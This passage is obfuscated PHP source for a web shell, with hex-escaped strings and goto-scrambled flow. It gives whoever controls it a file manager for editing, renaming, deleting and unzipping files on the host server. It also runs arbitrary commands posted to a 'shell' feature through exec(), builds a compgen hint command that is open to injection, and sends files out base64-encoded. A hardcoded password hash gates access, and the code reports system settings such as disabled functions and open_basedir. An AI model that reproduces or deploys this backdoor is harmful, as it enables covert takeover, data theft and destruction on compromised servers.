\x25\163\74\57\164\x64\76\74\x2f\x74\162\x3e\12\11\11\x9\x9\11\x9\x3c\164\x72\76\x3c\x74\144\76\x4c\x61\163\x74\x20\155\x6f\144\151\x66\151\x65\x64\74\x2f\164\144\76\74\x74\144\76\45\x73\x3c\x2f\x74\x64\76\74\57\164\x72\x3e\12\11\11\x9\11\x9\11\74\x74\162\x3e\74\164\x64\x3e\114\141\x73\x74\40\141\143\x63\x65\x73\x73\145\x64\74\57\164\144\76\74\x74\x64\76\x25\163\74\x2f\164\144\76\x3c\x2f\x74\x72\76\12\x9\11\11\x9\x9\74\57\164\141\x62\154\145\x3e\xa\x9\11\11\x9\x3c\x2f\144\151\166\76\12\11\x9\11\11\x3c\144\151\166\40\143\154\141\163\163\75\47\x64\x69\x76\151\x64\145\x2d\x72\x69\x67\150\164\47\76\12\11\x9\x9\x9\11\x3c\x74\141\142\x6c\145\x20\143\x6c\141\163\163\75\47\164\141\142\154\x65\40\x74\x61\142\x6c\x65\55\x62\157\162\144\x65\162\145\x64\40\155\x74\55\63\40\150\157\166\145\x72\124\141\142\154\145\47\76\12\x9\x9\11\x9\x9\x9\74\164\x72\76\74\164\x64\x3e\x4d\111\x4d\x45\x3c\x2f\164\144\x3e\x3c\x74\144\x3e\x46\151\154\145\74\x2f\164\x64\76\x3c\57\x74\x72\x3e\xa\11\11\x9\x9\x9\11\74\164\162\x3e\74\x74\144\x3e\x4f\167\156\x65\162\57\x47\x72\157\x75\160\x3c\x2f\x74\144\76\x3c\x74\144\76\x25\163\x3c\57\164\144\x3e\74\57\164\x72\x3e\xa\x9\x9\11\11\11\11\x3c\x74\x72\x3e\74\164\144\76\115\104\65\74\x2f\x74\144\x3e\74\164\x64\76\x25\x73\x3c\57\164\144\76\74\57\x74\x72\76\12\11\x9\11\x9\x9\x9\74\x74\162\x3e\74\164\x64\76\123\110\x41\x31\x3c\x2f\x74\144\76\x3c\x74\x64\x3e\x25\163\x3c\x2f\x74\144\76\74\x2f\x74\162\76\12\x9\11\x9\11\x9\x9\x3c\164\x72\76\x3c\164\144\x3e\120\x61\x74\150\74\x2f\164\144\x3e\x3c\x74\144\x3e\45\163\x3c\x2f\164\144\76\74\57\x74\x72\x3e\12\11\x9\x9\11\x9\x9\12\x9\11\x9\x9\x9\74\57\x74\141\142\154\x65\76\xa\11\11\11\11\74\x2f\x64\x69\x76\76\xa\11\x9\x9\74\57\144\151\x76\76", GetFileSize(@filesize($checkfx)), GetFilePerm($checkfx), GetFileTime($checkfx, "\143\162\x65\x61\x74\x65"), GetFileTime($checkfx, "\155\157\x64\151\x66\171"), GetFileTime($checkfx, "\141\x63\x63\x65\163\x73"), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); if (isset($_POST["\162"])) { if ($GNJ[26]($_POST["\x72"])) { ER(); } else { if ($GNJ[27](uhex($_GET["\x72"]), $_POST["\162"])) { OK(); } else { ER(); } } } } else { echo "\106\x69\154\x65\40\x6e\x6f\164\x20\x65\x78\151\x73\x74\x21\x20\74\x61\40\x68\x72\x65\146\x3d\47\77\x64\75" . hex($d) . "\x26\x6e\47\76\104\x6f\40\x79\x6f\165\x20\x77\141\156\164\40\164\157\x20\143\x72\145\x61\164\x65\x20\x69\164\x20\x3f\x3c\57\141\76"; } } elseif (isset($_GET["\x7a"])) { $zip = new ZipArchive(); $res = $zip->open(uhex($_GET["\x7a"])); if ($res === TRUE) { $zip->extractTo(uhex($_GET["\x64"])); $zip->close(); OK(); } else { ER(); } } else { echo "\74\164\141\x62\x6c\x65\x20\143\x6c\141\163\163\40\x3d\40\42\164\141\142\x6c\145\40\x74\x61\142\154\x65\55\x62\157\162\x64\145\162\x65\x64\40\x6d\x74\55\63\40\x68\157\166\x65\x72\124\141\142\x6c\x65\x22\40\76\xa\11\x9\11\11\x9\11\x3c\164\150\145\141\x64\x3e\xa\x9\x9\11\x9\x9\x9\11\x3c\164\x72\76\xa\x9\x9\11\11\x9\x9\11\11\x3c\164\150\76\x3c\143\x65\156\x74\x65\162\x3e\40\116\101\115\x45\40\74\x2f\143\x65\156\x74\145\x72\x3e\x3c\x2f\164\x68\x3e\12\11\11\x9\11\11\x9\11\12\11\11\x9\11\x9\11\x9\11\74\164\150\76\x3c\x63\145\x6e\x74\145\x72\x3e\x20\x53\x49\x5a\x45\x20\x2f\x20\115\x44\65\x20\x3c\x2f\143\x65\156\x74\x65\162\76\74\x2f\164\x68\x3e\xa\x9\x9\11\x9\11\x9\11\x9\x3c\x74\x68\x3e\x3c\143\145\x6e\164\145\162\76\x20\114\101\123\x54\x20\x4d\x4f\104\111\x46\111\105\x44\x3c\57\x63\145\156\164\x65\x72\76\74\57\x74\150\76\xa\x9\x9\11\x9\11\x9\11\11\x3c\x74\x68\x3e\74\143\145\156\x74\145\x72\76\x20\117\x57\116\x45\122\57\107\122\x4f\x55\x50\x20\x3c\57\x63\145\x6e\164\x65\162\x3e\x3c\57\164\x68\x3e\12\11\x9\11\11\x9\11\x9\11\74\x74\x68\x3e\74\x63\x65\x6e\164\x65\162\76\x20\120\105\122\x4d\x49\x53\123\x49\117\116\40\74\x2f\143\145\x6e\x74\x65\162\x3e\74\57\164\150\76\12\x9\x9\11\11\x9\11\x9\x9\74\x74\x68\x3e\74\143\x65\156\164\x65\162\x3e\x20\x41\x43\124\111\117\x4e\40\57\40\x46\111\114\105\40\120\101\124\x48\74\57\x63\145\156\x74\145\x72\x3e\74\x2f\164\x68\x3e\xa\x9\11\x9\x9\11\11\11\74\57\164\x72\x3e\12\11\11\11\x9\11\11\74\57\x74\x68\x65\x61\144\x3e\xa\11\11\x9\11\x9\x9\x3c\164\142\157\x64\x79\76\xa\x9\11\x9\x9\11\x9\11\12\x9\x9\x9\11\11\x9"; $h = ''; $j = ''; $w = $GNJ[13]($d); if ($GNJ[28]($w) || $GNJ[29]($w)) { foreach ($w as $c) { $e = $GNJ[14]("\134", "\57", $d); if (!$GNJ[30]($c, "\56\x7a\x69\160")) { $zi = ''; } else { $zi = "\x5b\x3c\141\40\150\x72\145\146\75\42\77\144\x3d" . hex($e) . "\x26\172\75" . hex($c) . "\42\x3e\x55\156\x5a\x69\x70\74\x2f\x61\x3e\x5d"; } if ($GNJ[31]("{$d}\x2f{$c}")) { $o = ''; } elseif (!$GNJ[32]("{$d}\x2f{$c}")) { $o = "\x20\150"; } else { $o = "\x20\167"; } $s = $GNJ[34]("{$d}\x2f{$c}") / 1024; $s = round($s, 3); if ($s >= 1024) { $s = round($s / 1024, 2) . "\40\115\x42"; } else { $s = $s . "\40\113\x42"; } if ($c != "\x2e" && $c != "\56\56") { if (isset($_SESSION["\163\x61\x74\151\156\147\147\x61"])) { if (filesize($c) < 2048880 && filesize($c) > 1) { $hasilmd5 = md5_file($e . DIRECTORY_SEPARATOR . $c); } else { $hasilmd5 = "\130\x58\130"; } $codemd5 = "\74\151\x6e\160\x75\164\x20\164\171\160\145\x3d\x22\x74\x65\170\x74\x22\x20\x69\x64\x3d\x22\164\145\x78\x74\55\x62\x6f\170\x22\x20\x73\x69\x7a\x65\75\42\x31\60\42\x20\x76\x61\154\165\x65\75\42" . $hasilmd5 . "\x22\x20\x20\x6f\156\143\x6c\151\x63\153\x3d\x22\164\x68\151\163\56\163\145\154\145\143\164\x28\51\x3b\x22\x3e"; } else { $codemd5 = ''; } if (isset($_SESSION["\x73\141\x74\x69\x6e\x67\x67\141"])) { $codemd6 = "\x5b\74\141\x20\x68\x72\x65\146\75\x22\x2f\x2f" . $fullx . "\57" . $c . "\x22\40\164\141\x72\x67\x65\164\75\42\x5f\x62\154\x61\156\x6b\x22\x3e\x55\122\x4c\74\57\x61\76\135\12\x9\11\11\x9\x9\11\x9\x9\74\151\x6e\160\x75\164\40\164\171\x70\145\75\x22\164\145\x78\164\42\x20\x69\x64\x3d\x22\x74\145\170\x74\55\142\157\170\42\x20\x73\x69\172\x65\x3d\42\61\62\42\40\166\141\x6c\165\x65\x3d\42" . $e . DIRECTORY_SEPARATOR . $c . "\42\x20\40\x6f\156\x63\x6c\151\143\x6b\75\42\164\150\x69\163\56\163\x65\154\145\143\164\50\51\x3b\x22\x3e\40"; } else { $codemd6 = ''; } $GNJ[8]("{$d}\57{$c}") ? $h .= "\x3c\x74\162\x20\x63\154\141\x73\163\75\x22\162\42\76\12\11\x9\x9\x9\x9\11\x9\x3c\164\144\x3e\12\11\x9\11\11\x9\x9\x9\11\x3c\x69\155\147\x20\x73\x72\x63\40\75\40\42\x68\x74\x74\160\x73\72\x2f\x2f\143\x64\x6e\60\x2e\x69\x63\157\156\146\x69\156\144\145\x72\56\143\157\155\x2f\144\141\x74\x61\x2f\151\143\157\x6e\163\57\x69\143\x6f\156\151\143\x6f\55\63\x2f\x31\60\x32\x34\57\x36\63\56\x70\x6e\147\42\x20\x77\151\x64\164\x68\40\x3d\40\x22\62\x30\160\x78\x22\40\x68\145\x69\x67\150\x74\x20\75\40\42\x32\x30\x70\170\x22\76\12\11\11\x9\x9\x9\x9\11\x9\74\141\x20\143\x6c\141\163\163\75\42\x61\152\170\x22\x20\x68\162\145\x66\75\x22\x3f\x64\75" . hex($e) . hex("\x2f" . $c) . "\42\76" . $c . "\x3c\x2f\x61\76\xa\x9\x9\11\11\11\x9\11\x3c\57\164\x64\x3e\12\x9\11\11\11\11\x9\x9\xa\11\11\11\11\x9\x9\x9\x3c\164\x64\x20\143\154\141\163\163\x3d\42\170\42\76\xa\11\11\x9\x9\x9\x9\11\11\74\143\145\x6e\x74\145\x72\x3e\104\151\x72\74\x2f\x63\145\156\164\x65\x72\x3e\12\11\x9\x9\x9\x9\x9\11\74\57\x74\144\x3e\12\11\11\x9\x9\11\x9\11\xa\x9\x9\11\x9\11\11\11\74\164\144\x20\143\x6c\x61\163\163\75\x22\170\x22\x3e\12\11\x9\11\11\x9\x9\x9\74\143\x65\156\164\x65\162\x3e\xa\x9\11\x9\x9\11\x9\x9\x9\74\141\x20\143\154\x61\x73\x73\x3d\42\x61\x6a\x78\x22\x20\150\162\145\x66\75\42\77\144\x3d" . hex($e) . "\46\x74\x3d" . hex($c) . "\42\x3e" . $GNJ[20]("\x59\x2d\x6d\x2d\x64\40\147\x3a\151", $GNJ[21]("{$d}\57{$c}")) . "\74\x2f\x61\76\xa\11\11\x9\11\11\x9\x9\11\x3c\x2f\143\x65\x6e\x74\145\162\x3e\xa\11\11\11\11\x9\11\11\x3c\57\164\144\x3e\12\11\11\x9\11\11\11\x9\74\x74\144\x20\x63\x6c\x61\x73\163\40\75\40\x22\x78\x22\x3e\12\x9\x9\x9\x9\11\x9\11\74\143\x65\x6e\164\145\x72\x3e\12\11\11\11\x9\x9\11\11" . $dirinfo["\x6f\x77\x6e\x65\x72"] . "\12\11\11\11\11\x9\11\11\74\57\143\x65\x6e\x74\x65\162\x3e\12\x9\x9\x9\x9\11\x9\11\74\57\x74\x64\x3e\xa\11\x9\x9\x9\x9\11\x9\x3c\x74\144\40\x63\x6c\141\x73\163\75\42\170\42\x3e\xa\11\11\x9\11\11\x9\11\74\x63\145\x6e\x74\x65\x72\x3e\12\11\x9\x9\x9\11\11\11\x9\74\141\40\143\154\141\x73\x73\75\x22\141\152\170" . $o . "\42\40\150\x72\145\x66\75\x22\77\144\x3d" . hex($e) . "\46\x6b\x3d" . hex($c) . "\42\76" . x("{$d}\x2f{$c}") . "\74\57\141\76\xa\x9\x9\11\11\11\11\x9\xa\x9\11\x9\11\11\x9\x9\74\x2f\143\x65\x6e\164\x65\x72\x3e\12\x9\x9\11\x9\x9\x9\x9\74\57\164\144\76\xa\11\x9\11\x9\x9\11\x9\74\x74\x64\x20\143\x6c\x61\163\x73\75\42\170\x22\x3e\12\11\x9\11\x9\11\x9\x9\74\x63\x65\x6e\x74\x65\162\76\xa\x9\11\x9\11\x9\x9\11\40\40\x20\12\x9\x9\11\11\x9\x9\x9\11\133\74\x61\x20\x63\154\141\x73\x73\75\42\x61\x6a\170\42\40\x68\x72\145\146\75\x22\x3f\144\75" . hex($e) . "\46\x72\75" . hex($c) . "\x22\x3e\x52\x45\116\x41\115\105\74\57\141\76\135\xa\x9\11\x9\11\11\x9\11\x9\133\x3c\141\40\143\x6c\141\163\163\x3d\x22\141\152\170\x22\x20\x68\x72\145\x66\75\x22\x3f\144\x3d" . hex($e) . "\x26\170\x3d" . hex($c) . "\42\76\104\x45\114\x45\x54\x45\x3c\x2f\x61\x3e\x5d\xa\11\x9\x9\x9\x9\x9\11\11" . $codemd6 . "\12\x9\11\x9\11\11\11\11\x9\12\x9\11\x9\x9\x9\x9\11\x9\74\x2f\143\145\156\164\145\162\x3e\xa\x9\x9\x9\11\11\11\11\x3c\57\x74\144\76\12\11\x9\11\x9\11\11\74\57\x74\162\76\xa\x9\11\11\x9\11\x9\11\11\x9\11\11\11\xa\11\11\11\11\11\x9" : ($j .= "\74\164\162\x20\143\x6c\141\163\x73\75\42\162\42\76\12\11\x9\11\x9\11\11\11\74\164\144\x3e\12\x9\11\x9\x9\11\x9\x9\xa\11\11\x9\x9\11\11\x9\x9\74\x69\x6d\147\40\x73\162\143\x20\75\40\x22\x68\x74\x74\160\x73\x3a\57\x2f\151\155\147\56\x69\143\157\156\x73\x38\56\143\x6f\155\x2f\151\157\x73\x2f\61\x30\x34\x2f\60\x30\x30\x30\60\60\57\146\151\154\145\55\146\x69\x6c\x6c\145\x64\56\160\156\147\42\40\x77\x69\144\x74\x68\40\75\x20\42\x32\60\160\x78\x22\40\x68\x65\x69\x67\150\x74\40\x3d\40\x22\x32\x30\x70\x78\42\76\xa\x9\x9\x9\11\x9\x9\x9\x9\x3c\141\x20\143\x6c\141\x73\x73\x3d\x22\x61\152\170\x22\40\x68\162\145\x66\x3d\42\x3f\144\x3d" . hex($e) . "\46\x73\75" . hex($c) . "\x22\x3e" . $c . "\x3c\x2f\x61\x3e\xa\11\11\11\11\11\11\x9\x9\xa\x9\x9\11\11\11\11\11\74\x2f\x74\x64\x3e\12\x9\11\xa\11\11\11\x9\11\x9\11\74\164\144\x20\143\154\141\163\x73\x3d\42\x78\42\76\xa\x9\x9\11\11\11\x9\x9\74\x63\145\156\164\x65\162\x3e\xa\11\x9\x9\x9\11\11\11\11" . $s . "\40" . $codemd5 . "\xa\11\x9\11\x9\x9\x9\11\11\x3c\x2f\x63\x65\156\164\145\x72\x3e\12\11\11\x9\x9\11\11\11\x3c\x2f\164\x64\76\xa\11\11\11\x9\11\11\11\74\164\144\x20\143\154\x61\x73\x73\x3d\42\170\42\76\12\11\11\11\11\x9\11\11\x3c\x63\145\156\164\145\x72\x3e\xa\x9\11\x9\11\11\x9\11\x9\x3c\x61\40\x63\154\141\163\163\75\x22\141\x6a\x78\42\x20\150\162\145\x66\x3d\x22\77\x64\75" . hex($e) . "\46\x74\75" . hex($c) . "\42\76" . $GNJ[20]("\131\x2d\155\55\144\40\147\x3a\x69", $GNJ[21]("{$d}\57{$c}")) . "\74\57\x61\76\xa\11\x9\x9\x9\11\x9\11\x9\74\57\143\x65\156\x74\145\162\x3e\12\x9\x9\11\11\11\11\11\x3c\57\164\x64\76\11\xa\x9\x9\x9\x9\x9\11\x9\74\164\x64\76\12\x9\x9\11\x9\x9\x9\11\x3c\x63\145\156\x74\x65\x72\76\xa\11\x9\x9\11\11\x9\x9" . $dirinfo["\x6f\167\x6e\x65\x72"] . "\xa\11\x9\x9\x9\11\11\11\x3c\x2f\143\145\x6e\164\145\162\76\xa\11\11\11\11\x9\11\11\x3c\x2f\x74\144\76\12\x9\11\11\11\x9\x9\x9\11\x3c\x74\144\40\143\154\x61\163\x73\75\x22\x78\x22\76\12\x9\11\x9\11\x9\11\11\11\x3c\x63\x65\156\x74\145\162\x3e\12\11\11\11\11\11\11\11\74\x61\x20\x63\x6c\x61\x73\163\x3d\x22\x61\152\170" . $o . "\42\40\x68\x72\145\146\x3d\42\77\x64\75" . hex($e) . "\46\x6b\x3d" . hex($c) . "\42\x3e" . x("{$d}\x2f{$c}") . "\74\57\141\76\12\x9\x9\11\11\11\x9\x9\x3c\57\143\145\156\164\145\162\76\xa\x9\11\11\11\x9\11\x9\74\x2f\x74\144\76\12\x9\11\11\11\x9\x9\11\xa\11\x9\11\x9\11\11\x9\x3c\x74\x64\x20\x63\x6c\x61\163\163\75\x22\170\42\x3e\12\x9\x9\x9\11\x9\11\11\x9\x3c\x63\x65\156\164\145\162\76\12\x9\11\11\11\11\x9\11\11\133\x3c\141\40\143\x6c\141\163\x73\75\42\141\x6a\170\x22\40\150\x72\x65\x66\75\42\x3f\144\x3d" . hex($e) . "\x26\x65\75" . hex($c) . "\42\x3e\105\x44\111\x54\74\57\x61\76\x5d\x20\xa\11\11\11\11\x9\11\11\x9\133\x3c\141\40\143\154\x61\x73\163\x3d\x22\141\152\x78\x22\40\x68\162\x65\146\75\42\x3f\x64\x3d" . hex($e) . "\46\162\75" . hex($c) . "\42\x3e\x52\105\x4e\74\57\141\76\x5d\x20\xa\11\x9\x9\11\x9\11\11\x9" . $zi . "\12\11\11\11\x9\11\x9\11\x9\133\74\x61\x20\143\154\141\163\163\x3d\42\x61\152\170\42\x20\150\x72\145\x66\75\x22\x3f\144\75" . hex($e) . "\46\170\75" . hex($c) . "\42\x3e\104\105\x4c\x3c\57\x61\76\135\12\11\11\x9\x9\x9\x9\11\x9" . $codemd6 . "\x9\11\x9\11\x9\x9\11\74\x2f\x63\145\x6e\x74\145\x72\76\xa\x9\x9\x9\11\x9\11\x9\x3c\x2f\164\144\x3e\xa\x9\x9\11\x9\11\11\x3c\x2f\x74\x72\76\xa\xa\11\11\x9\x9\x9\x9"); } } } echo $h; echo "\74\164\162\x20\163\164\x79\154\x65\75\x22\142\141\143\x6b\x67\x72\157\165\156\144\55\x63\x6f\x6c\157\162\72\43\60\60\x37\x62\146\x66\73\42\40\150\x65\151\147\150\x74\x3d\42\x32\160\x78\42\76\74\164\x64\40\143\x6f\154\x73\x70\x61\156\75\42\x37\42\76\74\x2f\164\x64\76\74\57\164\x72\76"; echo $j; echo "\x3c\x2f\164\x62\157\144\171\76\xa\11\x9\x9\x9\11\12\11\11\x9\x9\74\57\164\141\x62\x6c\145\x3e"; } goto ZMpqN; UruFZ: function ER() { global $GNJ, $d; $GNJ[38]("\x24\107\116\x4a\133\x39\135"); redirectkeDepan(hex($d) . "\x26\60"); die; } goto W50Wk; DgIGi: function startmd5() { $_SESSION["\163\x61\x74\151\156\147\x67\x61"] = "\141\160\141\x6b\141\x75\154\x69\141\x74\x6c\151\x61\x74\156\x79\x65\164"; } goto DREeB; udFhs: print "\74\x62\x72\76"; goto uEPcl; wWk1F: $curl = function_exists("\x63\x75\x72\x6c\137\x76\145\162\163\x69\x6f\x6e") ? "\117\x4e" : "\x4f\106\x46"; goto jdve8; qK8mO: $k = $GNJ[4]("\x2f\50\x5c\x5c\x7c\x5c\57\51\57", $d); goto RilkQ; DAvJv: print "\40\x3e\x3e\40\x3c\143\x6f\x64\x65\x3e{$d}\57\74\57\143\x6f\x64\x65\76"; goto Y12Fi; tkv39: $dir = path(); goto fu9Nw; pxdJt: function featurePwd() { return array("\143\x77\144" => getcwd()); } goto rADGY; MdIfG: $total = hdd(disk_total_space("\x2f")); goto dF2ps; HHlGa: function GetFileType($x) { if (is_file($x)) { return pathinfo($x)["\145\x78\164\145\x6e\163\x69\x6f\156"]; } elseif (is_dir($x)) { return "\144\151\x72"; } elseif (is_link($x)) { return "\154\151\x6e\153"; } else { return "\55"; } } goto L61gB; XImeP: function get_http_response_code($url) { $headers = get_headers($url); return substr($headers[0], 9, 3); } goto Ic597; ZoM8_: $python = exe("\160\x79\x74\150\x6f\x6e\40\x2d\55\150\x65\154\x70") ? "\117\116" : "\117\106\106"; goto tNpUB; anbjO: session_start(); goto aLcus; LNug0: $ds = @ini_get("\144\151\x73\141\x62\x6c\x65\137\146\x75\x6e\143\164\151\x6f\156\163"); goto VvsE9; L9fK4: if (isset($_SESSION["\x73\x61\x74\x69\x6e\x67\147\141"])) { echo "\74\x61\40\x63\154\x61\163\163\75\42\x62\x74\x6e\40\142\164\x6e\55\144\x61\x6e\x67\145\x72\40\x62\x74\x6e\x2d\163\x6d\40\141\152\170\x20\x22\x20\150\x72\145\146\75\42\77\x64\x3d" . hex($d) . "\46" . hex("\x6d\144\65\170\x6f\146\146") . "\42\76\x57\101\x52\x20\x4f\106\x46\x3c\57\141\x3e"; } else { echo "\74\141\40\x63\x6c\141\x73\x73\75\x22\142\x74\156\40\x62\x74\x6e\55\144\x61\x6e\x67\145\x72\40\142\x74\x6e\55\x73\x6d\40\141\152\170\x20\42\40\150\x72\x65\x66\x3d\x22\x3f\x64\x3d" . hex($d) . "\x26" . hex("\x6d\144\x35\170\157\156") . "\42\76\x57\x41\122\40\117\116\x3c\x2f\x61\76"; } goto kVqQ9; U25MO: if (isset($_GET["\146\x65\x61\164\x75\162\145"])) { $response = NULL; switch ($_GET["\146\x65\141\164\x75\162\145"]) { case "\163\150\x65\x6c\154": $cmd = $_POST["\x63\155\x64"]; if (!preg_match("\x2f\62\76\57", $cmd)) { $cmd .= "\40\x32\76\46\61"; } $response = featureShell($cmd, $_POST["\143\167\x64"]); break; case "\x70\x77\x64": $response = featurePwd(); break; case "\150\x69\x6e\164": $response = featureHint($_POST["\x66\151\x6c\x65\x6e\141\155\145"], $_POST["\x63\167\x64"], $_POST["\164\x79\160\x65"]); break; case "\165\x70\154\x6f\141\144": $response = featureUpload($_POST["\x70\141\164\x68"], $_POST["\x66\x69\x6c\x65"], $_POST["\143\x77\x64"]); } header("\x43\157\156\x74\x65\156\164\55\x54\x79\160\x65\x3a\x20\x61\160\160\x6c\x69\143\x61\x74\151\157\156\57\x6a\x73\157\156"); echo json_encode($response); die; } goto QwT42; h6Q47: function featureDownload($filePath) { $file = @fgt($filePath); if ($file === FALSE) { return array("\x73\164\x64\x6f\165\164" => array("\106\x69\x6c\145\x20\156\157\x74\40\146\x6f\x75\156\144\x20\57\x20\x6e\157\x20\x72\x65\141\144\40\160\x65\162\155\x69\163\163\151\157\x6e\x2e"), "\143\167\144" => getcwd()); } else { return array("\x6e\x61\x6d\145" => basename($filePath), "\146\x69\x6c\145" => base64_encode($file)); } } goto W0Lbe; FKOvX: function b64ed($xf) { $_a = "\142"; $_b = "\141"; $_c = "\x73"; $_d = "\x65"; $_e = "\x36"; $_f = "\x34"; $_g = "\x5f"; $_h = "\145"; $_i = "\156"; $_j = "\x63"; $_k = "\x6f"; $_l = "\x64"; $_m = "\145"; $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } goto fsGoy; Wat8D: $auth_pass5 = "\67\63\141\71\x30\141\71\143\x34\146\x34\x37\x64\x65\62\65\144\143\x35\x64\x61\x37\x64\67\x61\61\x35\145\141\x35\70\66\x65\x35\71\145\x35\x65\x64\142"; goto UwDrz; rK0sT: $show_ds = !empty($ds) ? "{$ds}" : "\x41\x6c\154\40\106\x75\156\x63\164\151\157\156\x73\x20\x49\163\40\101\x63\x63\x65\x73\163\x69\x62\x6c\x65"; goto uNS1P; lECzW: if (file_exists($console)) { echo "\x3c\x63\x65\156\x74\x65\162\x3e\74\x61\40\x63\154\x61\x73\x73\75\x22\142\x74\156\x20\142\x74\x6e\55\151\x6e\x66\x6f\40\x62\x74\x6e\55\163\155\42\x20\150\x72\145\x66\x3d\42\x68\145\141\x64\145\x72\137\x62\141\x63\x6b\x75\x70\56\x70\x68\x70\42\40\x74\141\x72\147\145\164\75\x22\x5f\142\x6c\x61\156\x6b\x22\76\103\x6f\156\163\157\154\145\74\57\141\x3e\x20"; echo "\40\74\x61\40\143\154\x61\x73\x73\x3d\42\142\x74\x6e\x20\142\164\156\x2d\x64\141\x6e\x67\145\162\40\142\x74\156\x2d\163\x6d\x20\141\152\x78\42\x20\150\162\145\146\x3d\x22\x3f\144\75" . hex($d) . "\46" . hex("\x63\x6f\156\163\157\x6c\x65\157\146\x66") . "\42\x3e\110\x61\x70\x75\x73\40\103\x6f\156\x73\157\x6c\x65\74\57\x61\76\x3c\x2f\x63\145\156\164\145\162\x3e\x20"; } goto w2xTS; QwT42: $s_win = strtolower(substr(php_uname(), 0, 3)) == "\167\x69\x6e" ? true : false; goto Xq83t; B6hfl: function hdd($s) { if ($s >= 1073741824) { return sprintf("\45\61\56\x32\x66", $s / 1073741824) . "\40\x47\102"; } elseif ($s >= 1048576) { return sprintf("\x25\61\56\x32\146", $s / 1048576) . "\x20\115\x42"; } elseif ($s >= 1024) { return sprintf("\45\x31\56\62\x66", $s / 1024) . "\x20\x4b\x42"; } else { return $s . "\40\x42"; } } goto lzncn; d1o_8: $check_system = exec("\x73\x68\40\x2d\55\150\x65\154\160") ? "\117\116" : "\117\x46\106"; goto KoLrT; VvsE9: $open_basedir = @ini_get("\x4f\x70\145\156\137\102\141\163\x65\144\151\x72"); goto cGt2O; EY2x8: $f = $o_[0] . "\x53\x75\143\x63\x65\163\163\41" . $o_[1]; goto lfk_S; wSdwO: for ($i = 0; $i < $___; $i++) { $GNJ[] = uhex($Array[$i]); } goto jkkdf; PYK4b: function OS() { return substr(strtoupper(PHP_OS), 0, 3) === "\x57\x49\x4e" ? "\127\x69\x6e\144\157\167\x73" : "\x4c\x69\156\165\x78"; } goto gnRG6; ysAZp: $a_ = "\74\x73\x74\171\154\x65\76\x2e\144\x69\x76\x69\x64\x65\x7b\167\151\x64\x74\x68\x3a\61\x30\60\x25\x3b\x62\x6f\162\x64\x65\x72\72\x30\73\x64\x69\163\x70\154\x61\171\x3a\151\156\154\x69\x6e\145\x2d\x62\x6c\x6f\x63\153\x7d\56\x64\x69\x76\151\144\145\x2d\x6c\145\146\164\173\x66\154\x6f\141\x74\x3a\154\x65\146\x74\x3b\x77\x69\x64\164\x68\x3a\64\x39\56\x35\x25\175\x2e\144\151\166\151\x64\x65\x2d\162\151\147\150\x74\173\x66\x6c\157\141\x74\x3a\x72\151\147\150\x74\x3b\x77\x69\x64\x74\150\72\64\x39\56\x35\45\x7d\74\57\x73\164\171\154\145\x3e\12\11\x9\74\164\141\x62\154\145\x20\x63\x65\x6c\x6c\163\160\141\x63\151\x6e\x67\75\42\60\x22\x20\x63\x65\x6c\154\160\141\x64\144\151\x6e\147\75\42\x37\x22\40\x77\151\x64\x74\x68\75\42\61\x30\x30\45\x22\76\xa\11\x9\11\11\x9\x9\74\x74\x68\145\141\x64\76\12\11\x9\x9\11\x9\x9\11\x3c\164\x72\x3e\12\x9\x9\11\x9\x9\11\11\11\74\x74\150\x3e"; goto odYGc; DGdgF: function featureShell($cmd, $cwd) { $stdout = array(); if (preg_match("\x2f\136\x5c\x73\x2a\143\144\134\163\52\44\57", $cmd)) { } elseif (preg_match("\x2f\x5e\x5c\x73\52\143\144\x5c\163\53\x28\56\53\x29\x5c\x73\52\x28\x32\76\x26\61\x29\77\x24\x2f", $cmd)) { chdir($cwd); preg_match("\57\x5e\x5c\x73\52\143\144\134\163\53\x28\133\136\x5c\163\x5d\53\51\x5c\163\52\x28\62\x3e\x26\x31\51\77\x24\x2f", $cmd, $match); chdir($match[1]); } elseif (preg_match("\x2f\136\x5c\163\52\x64\157\x77\x6e\154\x6f\x61\144\134\x73\53\133\x5e\134\x73\135\53\x5c\163\52\x28\x32\x3e\x26\61\51\x3f\x24\x2f", $cmd)) { chdir($cwd); preg_match("\x2f\x5e\134\163\52\144\x6f\x77\156\154\x6f\141\x64\x5c\163\x2b\50\133\136\x5c\x73\135\53\51\134\x73\x2a\50\x32\76\46\61\x29\77\x24\57", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); exec($cmd, $stdout); } return array("\x73\164\x64\x6f\165\164" => $stdout, "\x63\x77\144" => getcwd()); } goto pxdJt; gMWYi: function rec($j) { global $GNJ; if (trim(pathinfo($j, PATHINFO_BASENAME), "\56") === '') { return; } if ($GNJ[8]($j)) { array_map("\162\x65\143", glob($j . DIRECTORY_SEPARATOR . "\173\x2c\x2e\175\52", GLOB_BRACE | GLOB_NOSORT)); $GNJ[35]($j); } else { $GNJ[10]($j); } } goto mBcUF; Q_fvY: function OK() { global $GNJ, $d; $GNJ[38]("\x24\x47\x4e\x4a\x5b\71\x5d"); redirectkeDepan(hex($d) . "\x26\x31"); die; } goto UruFZ; w7eLl: foreach ($k as $m => $l) { if ($l == '' && $m == 0) { echo "\x3c\141\x20\x63\x6c\141\x73\x73\x3d\42\x61\x6a\x78\42\x20\150\x72\x65\146\x3d\x22\x3f\x64\75\x32\146\42\x3e\x2f\x3c\x2f\x61\x3e"; } if ($l == '') { continue; } echo "\x3c\141\40\143\x6c\x61\163\x73\75\42\x61\152\170\x22\40\150\162\145\x66\x3d\42\x3f\144\75"; for ($i = 0; $i <= $m; $i++) { echo hex($k[$i]); if ($i != $m) { echo "\x32\146"; } } echo "\x22\x3e" . $l . "\x3c\57\x61\x3e\x2f"; } goto b0pra; tNpUB: $magicquotes = function_exists("\x67\145\x74\137\155\141\147\x69\143\x5f\161\x75\x6f\x74\145\163\x5f\147\x70\143") ? "\117\116" : "\117\106\x46"; goto iYoPC; rADGY: function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == "\143\x6d\144") { $cmd = "\143\157\155\160\147\x65\156\40\x2d\143\x20{$fileName}"; } else { $cmd = "\x63\157\155\x70\x67\x65\x6e\40\55\146\x20{$fileName}"; } $cmd = "\57\x62\151\156\57\142\141\x73\x68\40\x2d\x63\40\42{$cmd}\x22"; $files = explode("\xa", shell_exec($cmd)); return array("\x66\x69\154\145\x73" => $files); } goto h6Q47; gPpbf: 